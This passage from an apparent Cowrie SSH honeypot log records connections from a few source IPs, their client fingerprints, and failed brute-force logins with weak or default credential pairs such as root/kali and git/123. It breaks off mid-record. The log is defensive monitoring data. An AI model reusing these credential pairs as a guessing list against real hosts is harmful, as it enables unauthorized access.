{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:24.886419Z","src_ip":"91.92.42.133","session":"9ac7161a4a56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:24.889461Z","src_ip":"91.92.42.133","session":"9ac7161a4a56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":37008,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3c282676590","protocol":"ssh","message":"New connection: 91.92.40.171:37008 (159.203.135.109:22) [session: f3c282676590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:26.069425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:26.175877Z","src_ip":"91.92.40.171","session":"f3c282676590","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:26.178967Z","src_ip":"91.92.40.171","session":"f3c282676590","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dani","password":"dani","message":"login attempt [dani/dani] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:26.509474Z","src_ip":"91.92.42.133","session":"9ac7161a4a56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:26.801858Z","src_ip":"91.92.40.171","session":"f3c282676590","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:27.908945Z","src_ip":"91.92.40.171","session":"f3c282676590","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:27.974927Z","src_ip":"91.92.42.133","session":"9ac7161a4a56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":50936,"dst_ip":"10.17.0.5","dst_port":22,"session":"64943aa0963a","protocol":"ssh","message":"New connection: 117.121.214.50:50936 (10.17.0.5:22) [session: 64943aa0963a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:29.403695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:29.407576Z","src_ip":"117.121.214.50","session":"64943aa0963a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:29.649011Z","src_ip":"117.121.214.50","session":"64943aa0963a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"w123456w","message":"login attempt [root/w123456w] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:30.643634Z","src_ip":"117.121.214.50","session":"64943aa0963a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":37118,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4fcf87cf3c1","protocol":"ssh","message":"New connection: 91.92.40.171:37118 (159.203.135.109:22) [session: a4fcf87cf3c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:31.420664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:31.561970Z","src_ip":"91.92.40.171","session":"a4fcf87cf3c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:31.565212Z","src_ip":"91.92.40.171","session":"a4fcf87cf3c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:31.885715Z","src_ip":"117.121.214.50","session":"64943aa0963a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345","message":"login attempt [user1/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:32.644422Z","src_ip":"91.92.40.171","session":"a4fcf87cf3c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":53746,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a11673c6cee","protocol":"ssh","message":"New connection: 91.92.42.133:53746 (159.203.135.109:22) [session: 6a11673c6cee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:33.222061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:33.266492Z","src_ip":"91.92.42.133","session":"6a11673c6cee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:33.350364Z","src_ip":"91.92.42.133","session":"6a11673c6cee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grid","password":"grid","message":"login attempt [grid/grid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:33.787694Z","src_ip":"91.92.42.133","session":"6a11673c6cee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:33.792423Z","src_ip":"91.92.40.171","session":"a4fcf87cf3c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:35.166330Z","src_ip":"91.92.42.133","session":"6a11673c6cee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":60798,"dst_ip":"159.203.135.109","dst_port":22,"session":"1fcb20b50bd7","protocol":"ssh","message":"New connection: 91.92.40.171:60798 (159.203.135.109:22) [session: 1fcb20b50bd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:37.066443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:37.229532Z","src_ip":"91.92.40.171","session":"1fcb20b50bd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:37.233198Z","src_ip":"91.92.40.171","session":"1fcb20b50bd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kali","message":"login attempt [root/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:37.928485Z","src_ip":"91.92.40.171","session":"1fcb20b50bd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:39.086391Z","src_ip":"91.92.40.171","session":"1fcb20b50bd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":60408,"dst_ip":"159.203.135.109","dst_port":22,"session":"d940f2f12113","protocol":"ssh","message":"New connection: 91.92.42.133:60408 (159.203.135.109:22) [session: d940f2f12113]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:40.452557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:40.571908Z","src_ip":"91.92.42.133","session":"d940f2f12113","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:40.576093Z","src_ip":"91.92.42.133","session":"d940f2f12113","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operator","password":"operator","message":"login attempt [operator/operator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:42.349607Z","src_ip":"91.92.42.133","session":"d940f2f12113","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":60884,"dst_ip":"159.203.135.109","dst_port":22,"session":"392eeaf51c8a","protocol":"ssh","message":"New connection: 91.92.40.171:60884 (159.203.135.109:22) [session: 392eeaf51c8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:42.661734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:42.826172Z","src_ip":"91.92.40.171","session":"392eeaf51c8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:42.829173Z","src_ip":"91.92.40.171","session":"392eeaf51c8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123","message":"login attempt [git/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:43.623708Z","src_ip":"91.92.40.171","session":"392eeaf51c8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:43.764418Z","src_ip":"91.92.42.133","session":"d940f2f12113","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:44.735413Z","src_ip":"91.92.40.171","session":"392eeaf51c8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":33078,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ea0be5a16ef","protocol":"ssh","message":"New connection: 91.92.42.133:33078 (159.203.135.109:22) [session: 5ea0be5a16ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:47.342466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:47.685013Z","src_ip":"91.92.42.133","session":"5ea0be5a16ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.co